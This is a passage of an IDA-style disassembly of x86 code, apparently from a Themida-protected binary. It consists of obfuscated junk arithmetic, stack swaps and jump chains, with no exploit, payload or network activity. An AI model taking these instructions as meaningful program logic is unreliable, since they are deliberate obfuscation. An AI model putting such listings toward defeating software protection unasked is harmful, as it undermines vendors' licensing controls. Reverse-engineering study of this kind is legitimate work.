; ---------------------------------------------------------------------------
loc_591FC4: ; CODE XREF: sub_59196D+56E9j
xor ecx, 12018h
add eax, ecx
jmp loc_595E79
; ---------------------------------------------------------------------------
loc_591FD1: ; CODE XREF: sub_59196D-2532j
xor ecx, 0B2FB5A8Eh
and eax, ecx
mov ecx, [esp-0Eh+arg_8+2]
push esi
mov esi, esp
push 2620h
mov [esp-6+arg_0+2], eax
push ebx
jmp sub_58E5BF
; ---------------------------------------------------------------------------
loc_591FED: ; CODE XREF: sub_59196D+54A8j
xor [esp+0], edx
xor edx, [esp+0]
jmp loc_58ED92
; ---------------------------------------------------------------------------
loc_591FF8: ; CODE XREF: sub_59196D-5387j
push 6BDh
mov [esp+18h+var_1A+2], ecx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592005: ; CODE XREF: sub_59196D-5362j
sub ebp, 16200908h
add esi, ebp
push [esp+10h+var_12+2]
pop ebp
add esp, 4
push 6FC8h
mov [esp+10h+var_12+2], ebx
push ebp
mov ebp, 4
jmp loc_59236A
; ---------------------------------------------------------------------------
loc_59202A: ; CODE XREF: sub_59196D-5905j
; sub_59196D-383Dj
push ecx
mov ecx, 9A17A53h
shl ecx, 2
sub ecx, 0FEA64B4h
xor ecx, 169B849Ch
add ebp, ecx
pop ecx
xchg ebp, [esp+4+var_4]
pop esp
sub bl, al
add bl, 0DAh
jmp loc_58E6E1
; ---------------------------------------------------------------------------
loc_592050: ; CODE XREF: sub_59196D-4E28j
add esi, 4
push edx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
pop esp
mov [esp+42h+var_44+2], ecx
jmp loc_5957FE
; ---------------------------------------------------------------------------
loc_592078: ; CODE XREF: sub_59196D-33CBj
or edi, 4E855E98h
shl edi, 3
sub edi, 0AA1736B8h
xor edx, edi
pop edi
and eax, edx
mov edx, [esp+2Ch+var_2E+2]
add esp, 4
jmp loc_59375E
; ---------------------------------------------------------------------------
loc_59209A: ; CODE XREF: sub_59196D+5738j
push edi
mov edi, 7F5D6A68h
neg edi
jnp loc_58F56B
neg edi
jge loc_590BAA
push ebx
push edx
loc_5920B2: ; CODE XREF: sub_59196D-46B3j
; sub_59196D:loc_58F0C0j
add edx, 4CBA6F33h
jmp loc_591AFC
; ---------------------------------------------------------------------------
loc_5920BD: ; CODE XREF: sub_59196D+4305j
and dx, 7A14h
jle loc_5909C3
xor dx, 3BCCh
mov di, dx
jmp loc_58DB1A
; ---------------------------------------------------------------------------
loc_5920D5: ; CODE XREF: sub_59196D+3126j
push 7629h
mov [esp+0], ebp
sub esp, 4
jmp loc_58B5E4
; ---------------------------------------------------------------------------
loc_5920E5: ; CODE XREF: sub_59196D-5AC1j
add eax, 4
xor eax, [esp+36h+var_36]
xor [esp+36h+var_36], eax
xor eax, [esp+36h+var_36]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+36h+var_36]
pop esp
mov [esp+32h+var_32], ecx
push 479Eh
mov [esp+36h+var_36], ebx
jmp loc_58D6B6
; ---------------------------------------------------------------------------
loc_592112: ; CODE XREF: sub_59196D+B7Ej
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+3Ah+var_3C+2]
pop esp
sub edi, 1
xor edi, 90C4027h
add esi, edi
pop edi
jmp loc_59764E
; ---------------------------------------------------------------------------
loc_592136: ; CODE XREF: sub_59196D-1298j
pop ebx
add ebx, 4
push edx
mov edx, 2
add ebx, 19CB587Ah
sub ebx, 440F0985h
add ebx, edx
add ebx, 440F0985h
jmp loc_594185
; ---------------------------------------------------------------------------
loc_59215C: ; CODE XREF: sub_59196D+31A8j
mov esi, 2EAD0E95h
inc esi
shr esi, 3
sub esi, 46BA05C6h
shr esi, 3
jmp loc_58C66F
; ---------------------------------------------------------------------------
loc_592173: ; CODE XREF: sub_59196D+550Ej
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp+34h+var_36+2]
pop esp
div ecx
push 5981h
jmp loc_58F942
; ---------------------------------------------------------------------------
loc_59218B: ; CODE XREF: sub_59196D-28B2j
xor edi, 3097717Fh
jmp loc_595BF2
; ---------------------------------------------------------------------------
loc_592196: ; CODE XREF: sub_59196D-17EBj
push ecx
jmp loc_59060C
; ---------------------------------------------------------------------------
loc_59219C: ; CODE XREF: sub_59196D+4886j
mov ecx, edi
pop edi
sub eax, ecx
jmp loc_59071E
; ---------------------------------------------------------------------------
loc_5921A6: ; CODE XREF: sub_59196D+6919j
sub bl, al
add bl, 5Fh
jmp loc_594365
; ---------------------------------------------------------------------------
loc_5921B0: ; CODE XREF: sub_59196D+6BF3j
push dword ptr [edx]
mov eax, [esp+20h+var_22+2]
push edi
mov edi, esp
add edi, 4
jmp loc_59721A
; ---------------------------------------------------------------------------
loc_5921C3: ; CODE XREF: sub_59196D-1336j
mov ecx, [esp+28h+var_2A+2]
add esp, 4
add ebx, edx
mov edx, [esp+24h+var_26+2]
add esp, 4
add ebx, 2
xchg ebx, [esp+20h+var_22+2]
mov esp, [esp+20h+var_22+2]
inc byte ptr [esp+20h+var_22+2]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5921E9: ; CODE XREF: sub_59196D-5CB2j
not eax
jmp loc_5966FE
; ---------------------------------------------------------------------------
loc_5921F0: ; CODE XREF: sub_59196D+3CF9j
sub eax, 1FF2BAFh
sub eax, ebp
jmp loc_596488
; ---------------------------------------------------------------------------
loc_5921FC: ; CODE XREF: sub_58C19E+40B0j
push ebx
mov ebx, esp
push ecx
push esi
mov esi, 3E9C0CA6h
mov ecx, esi
pop esi
neg ecx
shr ecx, 5
xor ecx, 703C472Fh
jmp loc_5975DA
; ---------------------------------------------------------------------------
loc_592219: ; CODE XREF: sub_59196D+2D84j
add ebx, ecx
pop ecx
xchg ebx, [esp+2Ch+var_2E+2]
jmp loc_58EE8B
; ---------------------------------------------------------------------------
loc_592224: ; CODE XREF: sub_59196D+3A1Dj
; sub_59196D+3CADj ...
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp+30h+var_32+2]
pop esp
mov [esp+2Ch+var_2E+2], esi
jmp loc_5948D2
; ---------------------------------------------------------------------------
loc_59223C: ; CODE XREF: Themida_:0058F482j
push eax
jmp loc_596320
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592249: ; CODE XREF: sub_59196D-52Fj
mov ebp, esp
push eax
mov eax, 5F576600h
and eax, 2BE1151h
inc eax
dec eax
xor eax, 2160004h
add ebp, eax
mov eax, [esp+20h+var_22+2]
add esp, 4
jmp loc_5943D3
; ---------------------------------------------------------------------------
loc_59226A: ; CODE XREF: sub_58BB31+1Cj
mov ebx, esp
add ebx, 4
jmp loc_597E0C
; ---------------------------------------------------------------------------
loc_592277: ; CODE XREF: sub_59196D+E10j
push ecx
mov ch, 0FAh
sub ch, 63h
add bh, ch
pop ecx
sub al, bh
pop ebx
push [esp+18h+var_1A+2]
mov ecx, [esp+1Ch+var_1E+2]
jmp loc_5914DB
; ---------------------------------------------------------------------------
loc_59228E: ; CODE XREF: sub_59196D+18C5j
neg edx
sub edx, 393788BCh
or ebx, edx
pop edx
sub ebx, 37FB7B06h
jmp loc_58EF4A
; ---------------------------------------------------------------------------
loc_5922A4: ; CODE XREF: sub_59196D-932j
; sub_59196D+217Aj
inc esi
add esi, 2FAB1578h
jmp loc_592CA8
; ---------------------------------------------------------------------------
loc_5922B0: ; CODE XREF: sub_59196D-180Fj
push ebp
mov ebp, 5E024D4h
jmp loc_596F45
; ---------------------------------------------------------------------------
loc_5922BB: ; CODE XREF: sub_598477+24j
mov ebp, [esp+24h+var_26+2]
add esp, 4
jmp loc_594C95
; ---------------------------------------------------------------------------
loc_5922C9: ; CODE XREF: sub_59196D-4E11j
; sub_59196D:loc_593508j
jnz loc_59554A
push edx
xchg eax, [esp+18h+var_1A+2]
not eax
and al, 48h
mov bh, 55h
loc_5922D9: ; CODE XREF: sub_59196D-3EEAj
pop ebp
jmp sub_58C3EF
; ---------------------------------------------------------------------------
loc_5922DF: ; CODE XREF: sub_59196D+E28j
mov edx, 7A449C6h
jmp loc_596D3C
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+14h+var_16+2]
push 7805h
mov [esp+18h+var_1A+2], ebp
push 606Dh
mov [esp+1Ch+var_1E+2], esp
jmp loc_594E03
; ---------------------------------------------------------------------------
loc_592302: ; DATA XREF: Themida_:0058B18Co
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp+18h+var_1A+2], eax
pushf
jmp loc_58D3A6
; ---------------------------------------------------------------------------
loc_592310: ; CODE XREF: sub_59196D-2F9Fj
sub ebx, 4F1426C8h
add ebx, esi
add ebx, 4F1426C8h
pop esi
xor ebx, [esp+18h+var_1A+2]
xor [esp+18h+var_1A+2], ebx
xor ebx, [esp+18h+var_1A+2]
mov esp, [esp+18h+var_1A+2]
imul ecx, eax
push ecx
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592335: ; CODE XREF: sub_59196D-20CCj
jl loc_59464F
dec esi
jmp loc_598385
; ---------------------------------------------------------------------------
xor dl, bl
pop ebx
add cl, dl
pop edx
loc_592347: ; CODE XREF: sub_59196D:loc_590AFAj
shl dh, 3
add dh, 9Bh
jmp loc_58DE16
; ---------------------------------------------------------------------------
loc_592352: ; CODE XREF: sub_59196D-605Ej
add esp, 4
xchg ebx, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
jmp loc_594A2F
; ---------------------------------------------------------------------------
loc_592363: ; CODE XREF: sub_59196D-108Ej
sub al, 0E6h
jmp loc_595BB0
; ---------------------------------------------------------------------------
loc_59236A: ; CODE XREF: sub_59196D+6B8j
mov ebx, ebp
jmp loc_5971DF
; ---------------------------------------------------------------------------
loc_592371: ; CODE XREF: sub_59196D:loc_5975CCj
neg bl
neg bl
jz loc_596E80
jmp loc_58F7A6
; ---------------------------------------------------------------------------
loc_592380: ; CODE XREF: sub_59196D-34A9j
xchg eax, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esi
jmp loc_590171
; ---------------------------------------------------------------------------
loc_59238C: ; CODE XREF: sub_59196D+3A5Ej
add eax, 3CE76C6h
sub eax, edx
sub eax, 3CE76C6h
jmp loc_58F761
; ---------------------------------------------------------------------------
loc_59239D: ; CODE XREF: sub_59196D-155Dj
or edi, 3CE54C4Bh
xor edi, 85AEC79Fh
sub eax, edi
pop edi
jmp loc_5957B8
; ---------------------------------------------------------------------------
loc_5923B1: ; CODE XREF: sub_59196D+3651j
sub al, 32h
jmp loc_5944E0
; ---------------------------------------------------------------------------
loc_5923B8: ; CODE XREF: sub_59196D-4EA0j
sub al, 60h
pop edx
sub bl, 2Dh
push edx
mov dl, 0F7h
sub bl, dl
push [esp+3Ah+var_3C+2]
pop edx
sub esp, 4
mov [esp+3Eh+var_40+2], ecx
mov ecx, esp
jmp loc_58F612
; ---------------------------------------------------------------------------
loc_5923D7: ; CODE XREF: sub_59196D-2FD3j
push ebx
push 89D4FBDh
pop ebx
jmp loc_58F3BB
; ---------------------------------------------------------------------------
loc_5923E3: ; CODE XREF: sub_59196D-4568j
add ecx, edi
add ecx, 257131ADh
add dword ptr [ecx], 1
mov ecx, [esp+34h+var_36+2]
push eax
jmp loc_595EB3
; ---------------------------------------------------------------------------
loc_5923FA: ; CODE XREF: sub_59196D-3FDj
not ebp
xor ebp, 0F284C9BFh
jmp loc_596E76
; ---------------------------------------------------------------------------
loc_592407: ; CODE XREF: sub_59196D-E4Dj
push ebp
push [esp+18h+var_16+2]
jmp loc_58C151
; ---------------------------------------------------------------------------
loc_592411: ; CODE XREF: sub_59196D-EC9j
shl ebp, 7
js loc_595F02
shl ebp, 5
js loc_58D09B
and cl, 88h
push eax
loc_592427: ; CODE XREF: sub_59196D-121j
sub ebx, 1507045Bh
sub ebx, 334B6B65h
add ebx, 6D380B9Bh
pop esi
xor eax, ebx
mov ebx, [esp+0]
jmp sub_58CE9F
; ---------------------------------------------------------------------------
loc_592444: ; CODE XREF: sub_59196D+3713j
mov [ebx], al
pop ebx
jmp loc_5973FE
; ---------------------------------------------------------------------------
loc_59244C: ; CODE XREF: sub_59196D-274Fj
ror byte ptr [esp+10h+var_12+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592455: ; CODE XREF: sub_59196D-83Dj
; sub_59196D+698Bj
jmp loc_596495
; ---------------------------------------------------------------------------
mov cx, word ptr [esp-0Ch+arg_8]
push ebx
mov ebx, esp
push 6041h
jmp loc_590032
; ---------------------------------------------------------------------------
loc_59246B: ; CODE XREF: sub_59196D:loc_5914AFj
; sub_59196D+2F46j
push esi
push edx
jmp loc_58CBBE
; ---------------------------------------------------------------------------
loc_592472: ; CODE XREF: Themida_:0058E1E5j
; sub_59196D+439Fj
mov eax, 7D9D6D40h
jmp loc_58D7A0
; ---------------------------------------------------------------------------
loc_59247C: ; CODE XREF: sub_59196D+51D5j
inc esi
jge loc_594CA4
add esi, 305D676Ch
mov bh, 52h
pop ebp
loc_59248D: ; DATA XREF: Themida_:0058B188o
push dword ptr [edi+3Ch]
jmp loc_591F5E
; ---------------------------------------------------------------------------
loc_592495: ; CODE XREF: sub_59196D:loc_58FF02j
; sub_59196D-70Fj
pop ebp
xchg esi, [esp+2+var_4+2]
pop esp
movzx ecx, al
push 1CB1h
mov [esp+2+var_4+2], eax
jmp loc_59817E
; ---------------------------------------------------------------------------
loc_5924AA: ; CODE XREF: sub_59196D:loc_593C54j
neg ebp
jl loc_593941
and ebp, 23417AE9h
jno loc_59507F
mov ebx, edi
push edx
loc_5924C1: ; CODE XREF: sub_59196D-57D4j
push ebx
jmp loc_594B1A
; ---------------------------------------------------------------------------
loc_5924C7: ; CODE XREF: sub_59196D+4468j
; sub_59196D+5EDEj
jmp loc_58D81C
; ---------------------------------------------------------------------------
loc_5924CC: ; CODE XREF: sub_59196D-273j
jmp loc_58FDFD
; ---------------------------------------------------------------------------
loc_5924D1: ; CODE XREF: sub_59196D-263Cj
not ecx
inc ecx
xor ecx, 7E9175A2h
and ecx, 7A7770A7h
add ecx, 0DD8A310Fh
and edi, ecx
mov ecx, [esp+1Ch+var_1E+2]
jmp loc_592112
; ---------------------------------------------------------------------------
loc_5924F0: ; CODE XREF: sub_58CA8D+6j
pop ebx
add ebx, 4
jmp loc_58B7AD
; ---------------------------------------------------------------------------
loc_5924FC: ; CODE XREF: sub_59196D-133Dj
sub edi, 189A768Ch
add edi, esi
add edi, 189A768Ch
push ebx
mov ebx, 31DF4897h
jmp loc_58FFDE
; ---------------------------------------------------------------------------
loc_592515: ; CODE XREF: sub_59196D:loc_58E129j
inc edx
jmp loc_58DD70
; ---------------------------------------------------------------------------
loc_59251B: ; CODE XREF: sub_59196D+6965j
inc word ptr [esp+14h+var_16+2]
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592525: ; CODE XREF: sub_59196D+49D7j
dec ecx
add ecx, 0B570FA70h
sub edi, ecx
pop ecx
mov eax, edi
pop edi
sub eax, 5C7A2E4Bh
mov ebx, eax
pop eax
sub ebx, edx
mov edx, [esp+0Ch+var_C]
sub esp, 4
jmp loc_58EE6D
; ---------------------------------------------------------------------------
loc_592547: ; CODE XREF: sub_59196D+5072j
mov edx, esp
add edx, 4
push ebp
push 4
pop ebp
push eax
push ebp
mov ebp, 4FB74075h
mov eax, ebp
jmp loc_58D35B
; ---------------------------------------------------------------------------
push 49FBh
jmp loc_593C8D
; ---------------------------------------------------------------------------
loc_59256E: ; CODE XREF: sub_59196D-3EDCj
mov edx, [esp+10h+var_12+2]
add esp, 4
push 1149h
mov [esp+10h+var_12+2], ebx
jmp loc_598061
; ---------------------------------------------------------------------------
loc_592581: ; CODE XREF: sub_58CF0B+Cj
xchg ebx, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
mov [esp+10h+var_12+2], eax
jmp loc_592B05
; ---------------------------------------------------------------------------
loc_59258F: ; CODE XREF: sub_59196D-64DAj
add esp, 4
push edi
mov edi, 0E4C7134Bh
add esi, edi
jmp loc_58D044
; ---------------------------------------------------------------------------
loc_5925A2: ; CODE XREF: sub_59196D-ACAj
and edx, 2FC17A04h
jo loc_5970F4
or edx, 63350DB9h
ja loc_592A5D
sub edx, 6F752D81h
add edx, edi
push edx
mov edx, esp
push eax
and cl, 0C6h
loc_5925C9: ; CODE XREF: sub_59196D-9E2j
add ecx, 2771231Dh
push esi
mov esi, ecx
mov edx, esi
pop esi
pop ecx
jmp loc_5937B8
; ---------------------------------------------------------------------------
loc_5925DB: ; CODE XREF: sub_59196D-5D7Cj
mov ebx, 1CF34995h
jmp loc_5948E1
; ---------------------------------------------------------------------------
loc_5925E5: ; CODE XREF: sub_59196D-5821j
add edi, edx
add edi, 1E493EC7h
mov edx, [esp+18h+var_1A+2]
jmp loc_59189F
; ---------------------------------------------------------------------------
loc_5925F5: ; CODE XREF: sub_59196D-A78j
add eax, 4
add eax, 4
xchg eax, [esp+1Ch+var_1E+2]
jmp loc_58DA2F
; ---------------------------------------------------------------------------
loc_592607: ; CODE XREF: sub_59196D-1DE2j
movsx cx, al
push small 7651h
jmp loc_591978
; ---------------------------------------------------------------------------
loc_592614: ; DATA XREF: Themida_:0058B0F0o
mov ax, word ptr [esp-6+arg_0+2]
push edx
jmp loc_59025B
; ---------------------------------------------------------------------------
loc_59261E: ; CODE XREF: sub_59196D-46ABj
shr edx, 1
xor edx, 1B5D6CD9h
mov eax, edx
pop edx
add ecx, eax
pop eax
jmp loc_597BFE
; ---------------------------------------------------------------------------
loc_592631: ; CODE XREF: sub_59196D+3C8Fj
; sub_59196D+3C95j
push ebp
push esp
pop ebp
add ebp, 4
push 42B8h
mov [esp+0], edx
mov edx, 4
push ecx
mov ecx, 16D56E58h
and ecx, 5DCB4076h
dec ecx
sub ecx, 0FFFFFFFFh
add ecx, 0AB20469h
add ebp, ecx
pop ecx
sub ebp, edx
push eax
mov eax, 12F1C57h
sub eax, 0FFFFFFFFh
sub eax, 0E1BBD79Fh
sub ebp, eax
pop eax
mov edx, [esp+0]
add esp, 4
xchg ebp, [esp+42h+var_44+2]
jmp loc_58DE30
; ---------------------------------------------------------------------------
loc_592686: ; CODE XREF: sub_59196D+6338j
shl edx, 1
jmp sub_591077
; ---------------------------------------------------------------------------
loc_59268D: ; CODE XREF: sub_59196D-3725j
mov [esp+28h+var_2A+2], ecx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592695: ; CODE XREF: sub_59196D+3E25j
mov esp, [esp+28h+var_2A+2]
jmp loc_58BF1D
; ---------------------------------------------------------------------------
loc_59269D: ; CODE XREF: sub_59196D+2DB1j
add bl, 0A3h
add al, bl
pop ebx
push 3BBDh
mov [esp+28h+var_2A+2], edx
jmp loc_58E7E9
; ---------------------------------------------------------------------------
loc_5926B0: ; CODE XREF: sub_59196D+1980j
dec eax
neg eax
jnb loc_5962F4
dec eax
jns loc_58F8CE
xor eax, 0BB938F45h
mov ebx, eax
pop eax
add ebx, 2C6073AEh
shr ebx, 7
sub ebx, 53183204h
sub ebx, 7CB85E52h
sub ebx, 30BDB49Ch
jmp loc_591BCF
; ---------------------------------------------------------------------------
loc_5926E8: ; CODE XREF: sub_59196D-27D0j
xor byte ptr [esp+18h+var_1A+3], bh
jmp loc_594D95
; ---------------------------------------------------------------------------
loc_5926F1: ; CODE XREF: sub_59196D-27F8j
add ebx, edi
mov edi, [esp-14h+arg_10]
add esp, 4
jmp loc_593713
; ---------------------------------------------------------------------------
loc_592701: ; CODE XREF: Themida_:0058EF17j
push ebx
not [esp-14h+arg_10]
jmp loc_5919F8
; ---------------------------------------------------------------------------
loc_59270A: ; CODE XREF: sub_59196D+2E5Fj
mov [esp-14h+arg_10], ebp
inc [esp-14h+arg_10]
push [esp-14h+arg_10]
jmp loc_58DF7D
; ---------------------------------------------------------------------------
loc_592718: ; CODE XREF: sub_59196D+105Fj
xor esi, ebx
xor ebx, esi
xchg ebx, [esp-10h+arg_C]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592724: ; CODE XREF: sub_59196D-FEDj
jnp loc_58BA76
add eax, 60CA14C6h
jmp loc_597E0C
; ---------------------------------------------------------------------------
add edi, ebp
loc_592736: ; CODE XREF: sub_59196D-3F2j
add ebx, 61BB3840h
mov ebp, ebx
pop ebx
add eax, ebp
pop ebp
sub eax, 4F93734Fh
sub eax, ecx
add eax, 4F93734Fh
sub esp, 4
mov [esp+18h+var_1A+2], ecx
push edx
mov edx, 0E4D67BCh
add edx, 3B25AF77h
mov ecx, edx
pop edx
sub eax, ecx
pop ecx
pop ecx
xor ebx, eax
movzx ax, byte ptr [eax]
push 4433h
jmp loc_59525D
; ---------------------------------------------------------------------------
loc_59277A: ; CODE XREF: sub_59196D+248Cj
and bh, 1Eh
jmp loc_592277
; ---------------------------------------------------------------------------
loc_592782: ; CODE XREF: sub_59196D-572Ej
push [esp+0Ch+var_C]
pop ebx
add esp, 4
jmp loc_58EB5F
; ---------------------------------------------------------------------------
loc_59278E: ; CODE XREF: sub_59196D-F6Bj
xor ecx, 1EFF2096h
push edx
jmp loc_5922DF
; ---------------------------------------------------------------------------
loc_59279A: ; CODE XREF: sub_59196D-823j
pop eax
jmp loc_58FBC7
; ---------------------------------------------------------------------------
loc_5927A0: ; CODE XREF: sub_59196D+3491j
add bl, 18h
jl loc_5975CC
jmp loc_58D838
; ---------------------------------------------------------------------------
loc_5927AE: ; DATA XREF: Themida_:0058B204o
lodsb
push small 7002h
mov word ptr [esp+34h+var_36+2], bx
push eax
mov ah, 3Ah
jmp loc_5968D6
; ---------------------------------------------------------------------------
loc_5927BF: ; CODE XREF: sub_59196D+3BE3j
xchg eax, [esp+0]
pop edx
push esi
jmp loc_58FA9D
; ---------------------------------------------------------------------------
loc_5927C9: ; CODE XREF: sub_59196D+5994j
pop bx
sub al, 6Dh
push bx
push eax
push ecx
jmp loc_5913D4
; ---------------------------------------------------------------------------
loc_5927D6: ; CODE XREF: sub_58B76A+12j
push ecx
mov cl, 9
neg cl
add cl, 0A8h
jmp loc_597516
; ---------------------------------------------------------------------------
loc_5927E3: ; CODE XREF: sub_59196D:loc_590B5Ej
or eax, 9687297h
jg loc_58D508
inc eax
jmp loc_592D0B
; ---------------------------------------------------------------------------
mov [esp+4+var_4], ebx
mov esi, esi
push esp
loc_5927FA: ; CODE XREF: sub_59196D-5F80j
; sub_59196D+2632j
xchg edx, [esp+8+var_8]
pop esp
push [esp+4+var_4]
mov ecx, [esp+8+var_8]
add esp, 4
push esi
mov esi, esp
jmp loc_590AC2
; ---------------------------------------------------------------------------
loc_592812: ; CODE XREF: sub_59196D-1247j
push ecx
mov ecx, 72813B51h
not ecx
shr ecx, 3
sub ecx, 0E0A6BDB1h
jmp loc_58D9D0
; ---------------------------------------------------------------------------
loc_592828: ; CODE XREF: sub_59196D-5BAFj
mov edx, 7D722E8h
add edx, 281C2FA6h
jmp loc_595BB9
; ---------------------------------------------------------------------------
loc_592838: ; CODE XREF: Themida_:0058BCD4j
mov eax, 6B408C5h
not eax
xor eax, 5A8C242Ah
add eax, 56853373h
sub esp, 4
mov [esp+32h+var_32], ecx
mov ecx, 0C9A4C341h
sub eax, ecx
pop ecx
jmp loc_58CE22
; ---------------------------------------------------------------------------
loc_59285C: ; CODE XREF: sub_59196D+1179j
mov edx, 7CC154FFh
push ecx
push esi
push 6DE6h
mov [esp+3Ah+var_3C+2], edi
mov edi, 2CA23BEFh
mov esi, edi
jmp loc_58B87A
; ---------------------------------------------------------------------------
loc_592877: ; CODE XREF: Themida_:00590EEFj
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+36h+var_36]
pop esp
push 0
sub [esp+36h+var_36], ebp
pop ebp
jmp loc_58B638
; ---------------------------------------------------------------------------
loc_592893: ; CODE XREF: sub_59196D+36AAj
push eax
mov eax, 5206604Ch
xor esi, eax
pop eax
and esi, 257256BEh
shr esi, 5
xor esi, 12182A5h
add eax, esi
mov esi, [esp+32h+var_32]
add esp, 4
push edx
mov edx, 4
push edx
mov edx, 62354DE0h
sub eax, edx
pop edx
jmp loc_58D4BF
; ---------------------------------------------------------------------------
loc_5928C7: ; CODE XREF: sub_59196D+15C2j
sub esi, 5D5773FBh
sub edi, 7D1F7AA1h
sub edi, esi
add edi, 7D1F7AA1h
pop esi
push edi
mov eax, [esp+32h+var_32]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+36h+var_36]
pop esp
mov edi, [esp+32h+var_32]
add esp, 4
sub esp, 4
jmp loc_594A66
; ---------------------------------------------------------------------------
loc_5928FF: ; CODE XREF: sub_59196D+6C39j
neg ebp
dec ebp
jmp loc_593B95
; ---------------------------------------------------------------------------
loc_592907: ; CODE XREF: sub_59196D+1D33j
push 6C9Eh
jmp loc_5966BC
; ---------------------------------------------------------------------------
loc_592911: ; CODE XREF: Themida_:005901BFj
; sub_591077+6j
push edi
mov edi, 0D635B51h
push edx
mov edx, 4C2F29B8h
or edi, edx
pop edx
shl edi, 8
or edi, 3815714Ch
shr edi, 3
push ebx
mov ebx, 5044314Bh
jmp loc_58D3EA
; ---------------------------------------------------------------------------
loc_592937: ; CODE XREF: sub_59196D-2EB3j
pop ebx
jmp loc_591CFC
; ---------------------------------------------------------------------------
loc_59293D: ; CODE XREF: sub_59196D+29Cj
pop esi
push 7C4Bh
jmp loc_58BC00
; ---------------------------------------------------------------------------
loc_592948: ; CODE XREF: sub_59196D+2054j
sub edx, 64E15FC8h
push ecx
mov ecx, 3926AACh
jmp loc_5973B1
; ---------------------------------------------------------------------------
loc_592959: ; CODE XREF: sub_59196D+5173j
mov ebp, 70DA76C5h
sub ebp, 9F57982Fh
sub edi, ebp
pop ebp
sub esi, edi
jmp loc_590885
; ---------------------------------------------------------------------------
loc_59296E: ; CODE XREF: sub_59196D+244Bj
sub esp, 4
jmp loc_58F52A
; ---------------------------------------------------------------------------
loc_592979: ; CODE XREF: sub_59196D+558Dj
or edx, ecx
pop ecx
push ebx
mov ebx, 59062249h
inc ebx
shl ebx, 6
jmp loc_595F5F
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_592993: ; CODE XREF: sub_59196D-1903j
mov [esp+0Ch+var_C], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
push [esp+8+var_8]
jmp loc_596435
; ---------------------------------------------------------------------------
loc_5929B7: ; CODE XREF: sub_59196D+3101j
pop ecx
and eax, ecx
push [esp+8+var_8]
pop ecx
jmp loc_58BB1D
; ---------------------------------------------------------------------------
loc_5929C3: ; CODE XREF: sub_59196D+2B92j
mov [esp+8+var_8], esi
not [esp+8+var_8]
pop esi
xor ebx, esi
jmp loc_592718
; ---------------------------------------------------------------------------
loc_5929D1: ; CODE XREF: sub_59196D+67DBj
pop ebp
and eax, ebx
pop ebx
or eax, eax
jz loc_59709D
push 1D4Bh
mov [esp+0], esi
mov esi, esp
jmp loc_593A52
; ---------------------------------------------------------------------------
loc_5929EC: ; CODE XREF: sub_59196D-3580j
add esp, 4
pop [esp+2Ch+var_2E+2]
mov esp, [esp+28h+var_2A+2]
sub byte ptr [esp+28h+var_2A+2], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5929FE: ; CODE XREF: sub_58D10E+915j
xor [esp+2Ch+var_2E+2], edx
xor edx, [esp+2Ch+var_2E+2]
pop esp
mov dx, word ptr [esp+28h+var_2A+2]
push 5D3Ch
mov [esp+2Ch+var_2E+2], eax
push esp
mov eax, [esp+30h+var_32+2]
add esp, 4
jmp loc_5933BC
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+2Ch+var_2E+2]
jmp loc_590EFA
; ---------------------------------------------------------------------------
loc_592A26: ; CODE XREF: sub_59196D-3DAj
add esi, 4
jmp loc_594C8A
; ---------------------------------------------------------------------------
loc_592A2E: ; CODE XREF: sub_59196D-45CCj
; sub_59196D+1FE0j
mov [esp+44h+var_44], ecx
mov cl, 6Bh
dec cl
jmp loc_58C22F
; ---------------------------------------------------------------------------
loc_592A3A: ; CODE XREF: sub_59196D+512Aj
pop edi
add esp, 4
add ebp, 4
jmp sub_58F5C1
; ---------------------------------------------------------------------------
loc_592A4C: ; CODE XREF: sub_59196D-1E82j
add ecx, 4
add ecx, 4
jmp loc_58D06B
; ---------------------------------------------------------------------------
loc_592A5D: ; CODE XREF: sub_59196D+C47j
sub edx, 6F752D81h
add edx, edi
push edx
mov edx, esp
push eax
mov eax, 1ECC0701h
add eax, 47E57CCDh
sub eax, 5A9E6669h
add eax, 0F3ECE29Fh
add edx, eax
pop eax
push esi
jmp loc_591D2B
; ---------------------------------------------------------------------------
loc_592A86: ; CODE XREF: sub_59196D-1957j
; sub_59196D+2EAEj
mov edi, 44A70AC9h
dec edi
add edi, 0BB58F53Ch
add edx, edi
push [esp+12h+var_12]
mov edi, [esp+16h+var_16]
add esp, 4
add esp, 4
jmp loc_5971A9
; ---------------------------------------------------------------------------
loc_592AA8: ; CODE XREF: sub_59196D-61CEj
neg dh
shr dh, 7
sub dh, 7Dh
or dh, 6Bh
add dh, 0ADh
xor dh, 0DEh
jmp loc_591EAB
; ---------------------------------------------------------------------------
lodsb
push 7664h
jmp loc_597E9C
; ---------------------------------------------------------------------------
loc_592AC9: ; CODE XREF: sub_59196D+515Aj
push edx
mov edx, 12355CFh
mov ebp, 2A24527Dh
xor ebp, edx
pop edx
dec ebp
push ecx
jmp loc_598199
; ---------------------------------------------------------------------------
